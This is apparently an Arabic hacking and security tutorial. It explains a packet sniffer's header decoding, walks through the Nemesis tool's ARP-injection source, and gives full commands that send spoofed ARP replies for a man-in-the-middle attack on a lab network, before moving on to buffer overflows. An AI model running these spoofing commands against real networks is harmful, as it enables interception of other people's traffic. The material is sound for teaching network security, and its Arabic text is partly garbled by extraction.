 printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]); 

 for(i=1; i < ETHER_ADDR_LEN; i++) 

   printf(":%02x", ethernet_header->ether_dest_addr[i]); 

 printf("\tType: %hu ]\n", ethernet_header->ether_type); 

} 

 

 ".Destination MAC Address"نُكرر نفس الأمر ذُنا أيضاً لنقوم بطباعة ال 

 .Structالأطير داطل ال  elementوذو ال  "Type of packet"ثم آطر سطر سيقوم بطباعة 

 ..field تكلم قليلًا عن ذذا النس
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 وطُصوصاً ال، MAC Headerنُريد التركيز على ال  ،Data-Link Layerفي ال  Frameيوضح ال التالي الشكل 

Ether Type 
 

 :fieldذذا مُلخص ما يُشير لليه ذذا ال 

The two-octet EtherType field in an Ethernet frame, preceded by destination and source MAC 

addresses, that identifies an upper layer protocol encapsulating the frame data. For example, an 

EtherType value of 0x0800 signals that the frame contains an IPv4 datagram. Likewise, an 

EtherType of 0x0806 indicates an ARP frame, 0x8100 indicates an IEEE 802.1Q frame 

 

 
 

 

  :الثانية functionبالنسبة لل 

decode_ip( ) 

ا في ال  الذي قُمنا بإنشائه..  struct. يُمك نكُ للقاء نظرة على ال ةالسابق functionسنقوم بنفس الأمور التي قُمنا بِ 

ن قَبل. IP Headerالخاص بال   م 

لاحظ أنهُ  به. ةالخاص elementsل يأطُذ نفس ال  "struct ip_hdr"من ال  ip_header أيضاً بإسم objectنا بإنشاء قُم

ل لَنا ذذه  functionاستخدمنا ال  "Source and Destination IP Addresses"عندما قُمنا ب عَرض ال  وِّ التي تُحَ

 ".ASCII Dotted notation"للى ال  Network typeالعناوين من ال 
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 نأتي لهذه الأسطُر:

 printf("\t( Type: %u\t", (u_int) ip_header->ip_type); 

 printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id),  

        ntohs(ip_header->ip_len)); 

 

 في أول سطر يتم عرض نوع البروتوكول.

، و 6برقم  TCPقمثلاً يُشار لل  لنا نوع البروتوكول الُمستَخدم، يوضح IPv4 Headerالموجود في ال  fieldذذا ال 

 .1برقم  ICMP، و ال 17برقم  UDPيُشار للى ال 

 وذكذا.. 

 

ل ال IPالخاص بنوع ال  Elementلنشُير للى ال  (<-)استخدمنا الرمز  ثُم في ،  IP Header Structureالموجود داط 

كبيرة، قيتم تقطيعها لقطع  Packetفي حالة رَغب تنا لإرسال  fieldيُستخدَم ذذا ال  ةالحقيقفي ، ID السطر الثاني نطبع ال

packets ولرسالهم، قنستخدم ذذا ال  ةصغيرfield  معfield  آطَر وذو الfragmentation . 

لاحظ أننا استخدمنا في  ضها.الُملتقطه ببع packetsرُبما ظَهَرَ في نتائج الكود للتأكُد ما لذا كان ذُناك ع لاقة بين ال 

ل لَنا من ال  functionالسطر الثاني والثالث ال   .Host byte order الللى  network byte orderالتي تُحوِّ

 

  :function أطيراً يأتي دور ذذه ال

 ( )decode_tcp وذي

u_int decode_tcp(const u_char *header_start) { 

 u_int header_size; 
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 unsigned integerنوعه  functionالخاص بِذه ال  return typeفي البداية أن ال يُخبرنا 

 ، ..ذا ذو:functionوقيمته ستظهر في آطر سطر في ذذه ال 

return header_size; 

 

رُكَ به: "tcp_header_length"سيذذب للى ال  return valueذذا ال   ..سأُذكِّ

  tcp_header_length =  

      decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr)); 

 

  ،Argumentستأطُذ ، ( )decode_tcpذي ال  functionل  Callذذا السطر يعني أنهُ سيحدُث 

ع لَنا ، TCP Header)ذي ذذا الشيء الطويل الذي بين القوسين(!، ل تقوم ب حساب وتفكيك ال  وفي النهاية سَتُرج 

ثُم  تسير بَقية الأمُور على مايُرام، باستثناء شيء بسيط أُحب أَن .header_sizeوذي ال  ”return value“قيمة 

 أُوضحهُ لك:

 

 تأمل معي ذذا السطر:

header_size = 4 * tcp_header->tcp_offset; 

 

 ماذا نعني به؟

 bytes * offset field 4لنهُ يقول: 

يتكون من عدة شرائح، يب لُغ  Header، قكما نعلم أن ال TCP Headerلل  ةذي الشريحة العَرضي bytes 4ذذه ال 

 .bytes 4عرض كل شريحة 
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ما  ة.. ذذا ب كُل بساط Headerذذا يحوي عدد الشرائح العَرضيه التي جَرى استخدامُها في ذذا ال  offset fieldوال 

 تعنيه ذذه الُمعادلة.

 :TCP Headerالخاصة بال  RFCمن ال  fieldوذذا تعريف لهذا ال 

Data Offset:  4 bits 

    The number of 32 bit words in the TCP Header.  This indicates where the  

    data begins.  The TCP header (even one including options) is an integral number  

    of 32 bits long. 

 ".TCP Header Length"تحديد ال  fieldوبالتالي يتم بِذا ال 

 

 ..والآن جاءَ دور التجربة، Sniffer نكون بِذا قد وصلنا للى نهاية شرح ذذا ال 

  ةاستعد لاستقبال ذذه اللحظة التاريخي

 

 

 

 

 

 

 

reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap 

reader@hacking:~/booksrc $ sudo ./decode_sniff 

Sniffing on device eth0 

==== Got a 75 byte packet ==== 
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[[ Layer 2 :: Ethernet Header ]] 

[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] 

     (( Layer 3 ::: IP Header )) 

     ( Source: 192.168.18.1 Dest: 192.168.18.249 ) 

     ( Type: 6 ID: 7755 Length: 61 ) 

             {{ Layer 4 :::: TCP Header }} 

             { Src Port: 35602 Dest Port: 7890 } 

             { Seq #: 2887045274 Ack #: 3843058889 } 

             { Header Size: 32 Flags: PUSH ACK } 

                   9 bytes of packet data 

74 65 73 74 69 6e 67 0d 0a                       | testing.. 

==== Got a 66 byte packet ==== 

[[ Layer 2 :: Ethernet Header ]] 

[ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ] 

     (( Layer 3 ::: IP Header )) 

     ( Source: 192.168.18.249 Dest: 192.168.18.1 ) 

     ( Type: 6 ID: 15678 Length: 52 ) 

             {{ Layer 4 :::: TCP Header }} 

             { Src Port: 7890 Dest Port: 35602 } 

             { Seq #: 3843058889 Ack #: 2887045283 } 

             { Header Size: 32 Flags: ACK } 

                       No Packet Data 

==== Got a 82 byte packet ==== 

[[ Layer 2 :: Ethernet Header ]] 

[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] 

     (( Layer 3 ::: IP Header )) 

     ( Source: 192.168.18.1 Dest: 192.168.18.249 ) 

     ( Type: 6 ID: 7756 Length: 68 ) 

             {{ Layer 4 :::: TCP Header }} 

             { Src Port: 35602 Dest Port: 7890 } 

             { Seq #: 2887045283 Ack #: 3843058889 } 

             { Header Size: 32 Flags: PUSH ACK } 

                 16 bytes of packet data 

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test.. 

reader@hacking:~/booksrc $ 
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The conclusion 

 

 Dataثم ال  ةبكل طبق ةالخاص Headersللطبقات وعرض ال  Decodeلاحظنا في المثال السابق كيف تم عمل 

على  (Data-Link Layer)من أسفل  data. أي أننا كنا نستقبل ال ةالُملتقط packetداطل ال  ةالموجود لأ 

(Application Layer)، ال طول  حسب كُنا في الكود نHeader سَلِّم ال نُ  م  ثُ  ةبكل طبق الخاصpacket  للى الطبقة

بعد طرح ال  ةالفعلي Dataنستمر حتى تتبقى لنا ال  .”Decapsulation“ال نقوم بِذا العمل أثناء عملية ، التي تعلوذا

Length ع ال الخاص بجميHeaders تمكن من عرض محتويات ال قنHeaders ال  وData ةعلى الشاش. 

  :ذذا الشكل يوضح لك ذذا الأمر

على كما  ،وكيف يتم نقلها بين الطبقات Data، والذي يُعبرِّ عن ال بالشكل لاحظ الجزء الُمظلل سواءً كانت من أسفل لأ 

  في مثالنا أم العكس!.
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If we analyze the figure, we see: 

 The application layer sends the data (to be transferred to remote destination) to the transport 

layer. 

 

 The transport layer puts its header in the beginning and sends this complete packet  

(TCP-header + app-data) to the IP layer. 

 

 On the same lines, The IP layer puts its header in front of the data received from TCP  

So now the structure of IP datagram becomes (IP-header + TCP-header + app-data). 

 

 This IP datagram is passed to the ethernet layer which on the same lines adds its own header 

to IP datagram and then the whole packet is transmitted over network. 

 

On the destination host, the reverse process happens. This means that each layer reads its own 

header in the packet and then strips the header so that finally application receives the app-data. 
 

 thegeekstuff.com من موقع HIMANSHU ARORA الصورة والشرح أسفلها:صاحب 

 

ف قلسفة ال  سننطلق الآن  "ARP Poisoning"ل نكَتَش 

 

  

ARP Poisoning Attack 
 

نود الحديث يتبقى لنا بعض الأمور التي نُريد  ،Packet Capturingأنتَ الآن تفهم العديد من التفاصيل الُمتعلقة بال 

لة ب  TCPDumpأو ال  WireSharkعندما نقوم باستخدام برنامج كال  .عنها قهذا  Switchعلى أحد الأجهزة الُمتص 

ن مُراقَبَة ال  فعلهُ بقية تنتمكن من مراقبة ما لن ن لك. عندنا لينا أو الصادر منالقادم ل trafficيعني أننا سَنتمَكن م 

  .!!  Broadcast Domainالأجهزة التي مَعنا في نفس ال
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 :ةمحدود visibilityلديه  Snifferعنيه، لاحظ أن ال نذذه الصورة توضح ما 

 

 
 

 

وبما أن ال  الُمخصص له ققط! Portالمار عبر ال  trafficذذا سيتمكن من التقاط ال  Snifferيُخبرنا ذذا الشكل أن ال  

Switch  يمتلكCAM Table  ل عبر ذذا ال ه ا Trafficللا ال  portقلن يُرس  ققط، وبالتالي لن  Sniffer لالى اللُموَج 

ن مُراقبة مَن حولهُ في الشبكة.  يتمكن م 

 

 :ق أطرى.. منهاطرلك ن لازالَ بإمكاننا مُراقبة ذؤلاء باستخدام 
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  أن تمتلكAccess  على ذذا الSwitch  قتقوم بتفعيل طاصية الPort Mirroring  من ال  ةليقوم بإرسال نُسخب ه

network traffic  للى الport  هازك بهالذي  .تُحدده أنت ثُم تَرب ط ج 

 

 :port mirroringذذا الشكل يوضح ال 

 

 

 تكون عن طريق عَمَل  والطريقة الثانية"ARP Spoofing". عن طريق لرسال أحدذم  ذلكيتم وARP Reply  للى

 .مالخاص بِ trafficالأجهزة التي يُريد رؤية ال 
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م بالبيانات الجديد ةالخاص ARP Cacheلل  overwrittenيؤدي ذلك للى حدوث  . وذذا ما Attackerالخاصة بال  ةبِ 

 .ARP Poisoningيُطلَق عليه بال 

 

الخاص ب  IP)ليكُون ال  Bobالخاصة باليوزر  ARP Cacheلل  overwrittenبعمل  Attackerكما ترى ققد قامَ ال 

Alice  يُقابله الMAC  الخاص بالAttacker،) يضاً قام بإرسال نفس ال وأARP Reply  لليوزرAlice  ليتم تغيير ال

ARP Cache  قأصبح ال( ،لديهاIP  الخاص بBob  يقابله الMAC  الخاص بالAttacker .!) 

 للى ال. قبعد وصول البيانات Attacker، ستتم ولكن عَبَر ال Aliceو  Bobذذا لن يُعطِّل عملية التواصل بين 

Attacker،  بتعديل ال سيقومHeaders  مرةً أطرى ولرجاعهم لالى الSwitch  ليقوم بتوصيلهم للىAlice  وBob. 

 ققط قلن يُلاحظ الخلل الحادث. MACيتعامل بال  Switchوبما أن ال 
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 مُحدد للإحتفاظ بِذه البيانات لديها، أليس كذلك؟ timeoutلها  ARP Cacheولكن ذذه ال 

ذذه قسنقوم بإرسال  Redirectionولكي نُحاقظ على عملية ال ، Seconds 30ن مدتهُ تكو timeout.. تقريباً ذذا ال 

"Spoofed ARP Replies"  10كل Seconds .مثلًا 

ن لظهار ال  ثالنا ذذا لن نستفيد كثيراً م   سيكون من الأقضل لنا مُتابعة ال، Alice و Bobالمار بين  trafficولكن في م 

traffic  بين أحد الusers بين ال وGateway  طة ذذا ال ف أنش  نستخدم لذلك أداة ال  على الانترنت. userكي نَعر 

Ettercap  وذي أداة مشهورة تعمل على أنظمة اللينكس والMAC. 

 داطل الشبكة. "craft and enject packets"تقوم بعمل  Nemesisأيضاً أداة ال 

 نل )سنأتي لهمُ بعد قليل(.، Libpcap.c و ال Libnet.c لأشهرذا ا Librariesوك لاذم يعتمد على مجموعة من ال 

طريقة لك العربية تشرح العديد من الشروحات وملفات الفيديو باللغة  Googleفي  ستجد Ettercapال  ةبتجر أردت

 ..استخدامها

دوات الخاصة ب أحد ذذه الأ Sourceقسنبدأ بفتح ملفات ال ، ARP Poisoningال قلسفة  قهم ناذدقوحيثُ أن 

 .وتحليل آلية عملها!

 

 

Inside Nemesis tool 

الُمستخدمة ونفهم  Functionsالخاصة بِا لنشُاذد ال  Sourceسنقوم بتحميل الأداة والإطلاع على ملفات ال 

 على الانترنت: ذذه الأداة تعمل في بيئة الويندوز أيضاً. Nemesisذذه صفحة أداة ال  ميكانيكية عملها.

http://nemesis.sourceforge.net/ 

سِيعة عنها ةوذذه نبذ  

http://nemesis.sourceforge.net/
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“Nemesis is a command-line network packet crafting and injection utility. 

Nemesis can natively craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, 

TCP and UDP packets”. 

Using the IP and the Ethernet injection modes, almost any custom packet can be crafted and 

injected. 

 

 بعد تحميله: Sourceوذذا شكل ملف ال 
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ض لك بعض مُحتوياته: nemesis-arp.cسنقوم بفتح الملف  ،ARP Poisonبما أننا مُهتمين بال   الموجود بالشكل، ونَعر 

/* 

 * $Id: nemesis-arp.c,v 1.1.1.1 2003/10/31 21:29:36 jnathan Exp $ 

 * 

 * THE NEMESIS PROJECT 

 * Copyright (C) 1999, 2000, 2001 Mark Grimes <mark@stateful.net> 

 * Copyright (C) 2001 - 2003 Jeff Nathan <jeff@snort.org> 

 * 

 * nemesis-arp.c (ARP/RARP Packet Injector) 

 * 

 */ 

 

#include "nemesis-arp.h" 

#include "nemesis.h" 

#if defined(WIN32) 

    #include <pcap.h> 

#endif 

static ETHERhdr etherhdr; 

static ARPhdr arphdr; 

... (omitted) 

 

void nemesis_arp(int argc, char **argv) 

{ 

  const char *module= "ARP/RARP Packet Injection"; 

  nemesis_maketitle(title, module, version); 

  if (argc > 1 && !strncmp(argv[1], "help", 4)) 

      arp_usage(argv[0]); 

 

  arp_initdata(); 

  arp_cmdline(argc, argv); 

  arp_validatedata(); 

  arp_verbose(); 

 

   

 

  if (got_payload) 

  { 
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    if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file, 

                (const u_int32_t)PAYLOADMODE) < 0) 

        arp_exit(1); 

  } 

   

  if (buildarp(&etherhdr, &arphdr, &pd, device, reply) < 0) 

  { 

     printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP")); 

     arp_exit(1); 

  } 

  else 

  { 

     printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP")); 

     arp_exit(0); 

  } 

} 

 

 . ( )nemesis_arpكان ذلك الملف الخاص بال 

م ذذه ال  تم تعريفهم في بداية  ،packet headerطاصة ببيانات ال  data structuresمجموعة من ال  functionتَستخد 

 سنأتي لهمُ بعد قليل.، function ال

 

 ..؟( )nemesis_arpلهذه ال  Callولكن كيفَ يَحدُث 

 كما يلي: nemesis.c في الملف ةالموجود، ( )mainمن ال  callيَحدُث لها  functionذذه ال 

#include <stdio.h> 

#include <unistd.h> 

#include <string.h> 

#include "nemesis.h" 

 

int main(int argc, char **argv) 

{ 
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    char **avtmp, *avval; 

    extern int optind; 

 

    avtmp = argv; 

    avval = strrchr(*avtmp, '/'); 

    if (avval++ == NULL) 

        avval = *avtmp; 

 

    if (!strncmp(avval, "nemesis-arp", 11)) 

    { 

        nemesis_arp(argc, argv); 

    } 

    else if (argc > 1 && !strncmp(argv[1], "arp", 3)) 

    { 

        argv += optind; 

        argc -= optind; 

        nemesis_arp(argc, argv); 

    } 

                … 

 

ن جديد:  ( )nemesis_arpنعود للى ال  م 

ظ في الب  : Headersلبعض ال " Static defined Structures"داية عملية استدعاء مجموعة من ال نُلاح 

 Ethernet and ARP Headers.. and more. 

 ققط. ARP والEthernet التي تُعبرِّ عن ال  structuresلكننا سنكتفي بإظهار ال 

static ETHERhdr etherhdr; 

static ARPhdr arphdr; 

 

 .. nemesis.hالملف  يتم استدعائهم من

 أُطرى عند عملها، ذُم: functionsلأربعة  callبعمل  functionوتقوم ذذه ال 

  arp_initdata(); 

  arp_cmdline(argc, argv); 
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  arp_validatedata(); 

  arp_verbose(); 

 

 ..سيقوموا بأدوار مُتتابعه: nemesis-arp.cفي نفس الملف  ةموجود functionsذذه ال 

 cmd-lineتقوم بالتعامل مع ال  الثانية، ثم ةالمطلوب structuresبال  ةالخاص dataلل  initializeتقوم بعمل  لأولىقا

arguments، حة البيانات الُمستَخدَم ةوالثالث ن ص   .reportingطاصة بال  ةوالرابع، ةللتأكُد م 

 header structuresبال الخاصة  elementsلترى ال  ( )arp_initdataسأعرض لك محتويات ال 

static void arp_initdata(void) 

{ 

 

/* defaults */ 

etherhdr.ether_type = ETHERTYPE_ARP;   /* Ethernet type ARP */ 

memset(etherhdr.ether_shost, 0, 6);   /* Ethernet source address */ 

memset(etherhdr.ether_dhost, 0xff, 6);   /* Ethernet dest. address */ 

arphdr.ar_op = ARPOP_REQUEST;   /* ARP opcode: request */ 

arphdr.ar_hrd = ARPHRD_ETHER;   /* hardware format: Ethernet */ 

arphdr.ar_pro = ETHERTYPE_IP;   /* protocol format: IP */ 

arphdr.ar_hln = 6;   /* 6 byte hardware addresses */ 

arphdr.ar_pln = 4;   /* 4 byte protocol addresses */ 

memset(arphdr.ar_sha, 0, 6);   /* ARP frame sender address */ 

memset(arphdr.ar_spa, 0, 4);   /* ARP sender protocol (IP) addr */ 

memset(arphdr.ar_tha, 0, 6);   /* ARP frame target address */ 

memset(arphdr.ar_tpa, 0, 4);   /* ARP target protocol (IP) addr */ 

pd.file_mem = NULL; 

pd.file_s = 0; 

return; 

} 

 

 

 ل تَضَح لنا الأمور: functionالتي سَتَستَقب لها ذذه ال  Argumentsوالآن، .. سَنشُاذد معاً شكل ال 
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في الشبكة، سيتولد نتيجةً  Gatewayوأيضاً لل  الخاص به trafficللجهاز الُمراد تحويل ال  pingبَعدَ أن نقوم بَعمل 

 أيضاً. MACالخاصة بِم مع ال  IP Addressesلدينا بِا ال  arp cacheفي ال  entryلذلك 

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1 

PING 192.168.0.1 (192.168.0.1): 56 octets data 

64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms 

--- 192.168.0.1 ping statistics --- 

1 packets transmitted, 1 packets received, 0% packet loss 

round-trip min/avg/max = 0.4/0.4/0.4 ms 

 

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118 

PING 192.168.0.118 (192.168.0.118): 56 octets data 

64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms 

--- 192.168.0.118 ping statistics --- 

1 packets transmitted, 1 packets received, 0% packet loss 

round-trip min/avg/max = 0.4/0.4/0.4 ms 

 

 

reader@hacking:~/booksrc $ arp -na 

? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0 

? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0 

 

reader@hacking:~/booksrc $ ifconfig eth0 

eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED 

inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0 

UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1 

RX packets:4153 errors:0 dropped:0 overruns:0 frame:0 

TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0 

collisions:0 txqueuelen:100 

RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb) 

Interrupt:9 Base address:0xc000 

reader@hacking:~/booksrc $ 

 

هاز وال  "arp –na"بعد تنفيذ الأمر  ن الج   عليهم. MITM Attackالُمراد عمل  gatewayظَهَرَ لنا عناوين كُلٍ م 

 وتنفيذ الهجوم عليهم كما يلي: nemesisسَنقوم ب تشغيل ال 
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Running Nemesis 

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 

192.168.0.1 –D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 

-H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30 

 

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 

 

              [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 

    [Ethernet type] ARP (0x0806) 

 

 [Protocol addr:IP] 192.168.0.1 > 192.168.0.118 

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 

       [ARP opcode] Reply 

 [ARP hardware fmt] Ethernet (1) 

 [ARP proto format] IP (0x0800) 

 [ARP protocol len] 6 

 [ARP hardware len] 4 

 

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB 

 

ARP Packet Injected 

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 

192.168.0.118 -D 

192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 

00:00:AD:D1:C7:ED -M 

00:50:18:00:0F:01 

 

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 

 

              [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 

    [Ethernet type] ARP (0x0806) 

 

 [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 

       [ARP opcode] Reply 

 [ARP hardware fmt] Ethernet (1) 

 [ARP proto format] IP (0x0800) 
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 [ARP protocol len] 6 

 [ARP hardware len] 4 

 

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. 

 

ARP Packet Injected 

reader@hacking:~/booksrc $ 

 

 

الخاصة بِا ل تفهم  man page، سأعرض لك جزء من ال commandفي ذذا ال  optionsقُمنا باستخدام بعض ال  لقد

 دلالاتهم.

reader@hacking:~/booksrc $ nemesis arp help 

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4(Build 

26) 

 

ARP/RARP Usage: 

arp [-v (verbose)] [options] 

 

ARP/RARP Options: 

 -S <Source IP address> 

 -D <Destination IP address> 

 -h <Sender MAC address within ARP frame> 

 -m <Target MAC address within ARP frame> 

 -r ({ARP,RARP} REPLY enable) 

 -R (RARP enable) 

 -P <Payload file> 

 

Data Link Options: 

 -d <Ethernet device name> 

 -H <Source MAC address> 

 -M <Destination MAC address> 

 

You must define a Source and Destination IP address. 

 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [238] 

 ( )Nemesis_arpوذي  ARP Poisonالخاصة بال  function، ذيا ل نعَود للى ال ةلقد عَرَقنا كيف تعمل ذذه الأدا

 لنستكمل دورذا.

والتي ستقوم  ( )buildarpالتي أوضحناذا سابقاً، يتم في النهاية استدعاء ال  functionsللأربعة  callبعد عمل 

 ”nemesis-proto_arp.c“توجد في ملف مُستقل كما ترى في الشكل:  لَها. injectوعمل  ARP Packetبتكوين ال 

 
 

 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [239] 

int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char   

             *device, int reply) 

{ 

  int n = 0; 

  u_int32_t arp_packetlen; 

  static u_int8_t *pkt; 

  struct libnet_link_int *l2 = NULL; 

   

  /* validation tests */ 

  if (pd->file_mem == NULL) 

     pd->file_s = 0; 

 

  arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s; 

 

#ifdef DEBUG 

  printf("DEBUG: ARP packet length %u.\n", arp_packetlen); 

  printf("DEBUG: ARP payload size %u.\n", pd->file_s); 

#endif 

 

  if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL) 

  { 

   nemesis_device_failure(INJECTION_LINK, (const char *)device); 

   return -1; 

  } 

 

  if (libnet_init_packet(arp_packetlen, &pkt) == -1) 

  { 

  fprintf(stderr, "ERROR: Unable to allocate packet memory.\n"); 

  return -1; 

  } 

  libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,  

                        eth->ether_type NULL, 0, pkt); 

 

  libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,  

          arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,   

          arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,  

          pkt + LIBNET_ETH_H); 
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  n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H + 

          LIBNET_ARP_H + pd->file_s); 

 

  if (verbose == 2) 

      nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE); 

  if (verbose == 3) 

      nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE); 

  if (n != arp_packetlen) 

  { 

     fprintf(stderr, "ERROR: Incomplete packet injection. Only " 

             "wrote %d bytes.\n", n); 

  } 

  else 

  { 

   if (verbose) 

   { 

    if (memcmp(eth->ether_dhost, (void *)&one, 6)) 

    { 

      printf("Wrote %d byte unicast ARP request packet through " 

             "linktype %s.\n", n, 

             nemesis_lookup_linktype(l2->linktype)); 

    } 

    else 

    { 

      printf("Wrote %d byte %s packet through linktype %s.\n",   

             n,(eth->ether_type == ETHERTYPE_ARP ? "ARP" :          

             "RARP"), nemesis_lookup_linktype(l2->linktype)); 

   } 

  } 

 } 

 libnet_destroy_packet(&pkt); 

 if (l2 != NULL) 

 libnet_close_link_interface(l2); 

 return (n); 

} 
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ن الُمتوقع أنها تأطذ ال  injectوعمل  packetستقوم ب تكوين ال  functionوب ما أن  ذذه ال  لها عبر كارت الشبكة، قَم 

Arguments ةالتالي: 

int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char  

             *device, int reply) 

 Nemesis.hمن ال " ARP Header Structure"وأيضاً ال  "Ethernet Header Structure"ستحتاج لاستخدام ال 

Lib. 

 تقوم بدور محوري في ذذا الكود:التي  functionsتسليط الضوء على مجموعة من ال ب سنقوم

 
1- libnet_open_link_interface() 
 

2- libnet_init_packet() 
 

3- libnet_build_ethernet() 
 

4- libnet_build_arp() 
 

5- libnet_write_link_layer() 

 

 نبدأ بالأولى وذي: (1)

libnet_open_link_interface(device, errbuf) 

-Linkالخاص بال  Frameكي نستطيع كتابة ال  packet interfaceتقوم بفتح  "،low-level function"تُعتَبَر ذذه 

Layer . قهي تأطُذArguments  للinterface device  والerror buffer  الذي تكلمنا عنه في الsniffer .من قبل 

 

 ثم نأتي للثانية: (2)

(libnet_init_packet(arp_packetlen, &pkt 

 ستخدامها.كي يتم ا packetلل  initializeواضح من الإسم أنها تقوم بعمل 
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  ..”arp_packetlen“ الأول argumentال ذذا 

باره عن مُتغير تَم  تَعريفه
 :ARP Packetاية الكود ل نضََع ب ه  حجم ال في بد ع 

u_int32_t arp_packetlen; 
arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s; 

ذو ال ”pkt&“ والثاني  ARP Payload Sizeو ال  Ethernet Headerو ال  ARP Headerسيحوي ذذا الُمتغير ال 

(Address of this packet in memory). 

الُمراد استخدامها،  packetلل  memory allocationبأنها تقوم بعمل  functionالُمهم.. تتلخّص وظيفة ذذه ال 

ر ذذه ال ( )mallocبشكلٍ ما لل  callوبالتالي سنكون بحاجة لعمل   ؟؟. ( )malloc.. ذل تتذك 

. memoryلل  Destroyلعمل  ( )Freeال  تحتاج بعد انتهاء المطلوب أن نستخدم allocationكما تعلم أن عملية ال 

  آطر الكود.تجدذا في ( )libnet_destroy_packet ، لنهالذلك functionقَسَيَجري استخدام 

 

 والثالثه: (3)

libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,  

                      eth->ether_type NULL, 0, pkt); 

 .ethernet structبال  ةالخاص Elements، قهي تستخدم ال Ethernet Packetتكوين ال تقوم ذذه ب

 "ether packet .."ARP, or IPقَيدَُل على نوع ال  ether_typeأما ذذا ال 

 :ةثم الرابع (4)

libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,  

          arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,   

          arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,  

          pkt + LIBNET_ETH_H); 

 .ARP Packet.. ولكنها ستقوم ب تكوين ال ةذذه تشبه الثالث
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 :functionالمُستخدمة في ذذه ال  Elementsمايلي توضيح لل 

hardware address type, protocol address type, the hardware address length, 

the protocol address length, the ARP packet type, the sender hardware address, the sender 

protocol address, the target hardware address, the target protocol address,  

the packet payload, the payload size, and finally, a pointer to the packet header memory. 

 

 :functionثُم  تأتي ذذه ال  (5)

libnet_write_link_layer() 

 .injectليقوم بعملية ال  deviceللى ال  packetلهذه ال  writeلتقوم بعمل 

صيصها لل التي تم تخ memoryلل  freeبعمل  libnet_destroy_packet(&pkt) وفي النهاية تقوم ال

Packet.  ثُم  غَل ق ال"low-level interface"  أطيراً باستخدام ذذه الfunction: 

libnet_close_link_interface 

 

نَ ال  بِذا نكون قد  .”ARP Poisoning“انتهينا م 

 . ”Buffer Overflow“ سننتقل الآن لنتكلم عن نوع من الثغرات الشهيرة وذي ال

 

 

Buffer Overflow 
 

من الطُرُق الشهيرة في الاطتراق، لنها تستغل ن قاط الضعف لدى البرامج في تعاملها مع ال  Buffer Overflow ال

memory ويكون الهدف من ذذا النوع من الثغرات ذو التَحَكُم في سَير  البرنامج ،“the execution flow”  ليقوم

 .memoryما داطل ال  نَضَعهُ في مكانٍ  malicious codeأو  instructionsبتنفيذ 

 .”Execution of arbitrary code“نُطل ق على ذذا النوع من الُممارسات بال 
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نا  bufferقمثلًا لذا قام أحد الُمبرمجين بتخصيص  منا ققُ ، bytes 6توع ب سي bufferوكان ذذا ال  ،inputsل يَستقب ل م 

 .buffer لهذا ال Overflowبدلاً من ذلك!، قسوف يحدُث  bytes 8 نحنُ بإدطال

 ةالُمخَصصَ  ةالزائدين عن المساح bytes 2لأن ال ، Buffer Overflowأو  Buffer Overrunيُسمى ذذا الإجراء بال 

 .. الةسيتسببان  في ذذه الأزم

“Overflow” .الحاد ث 

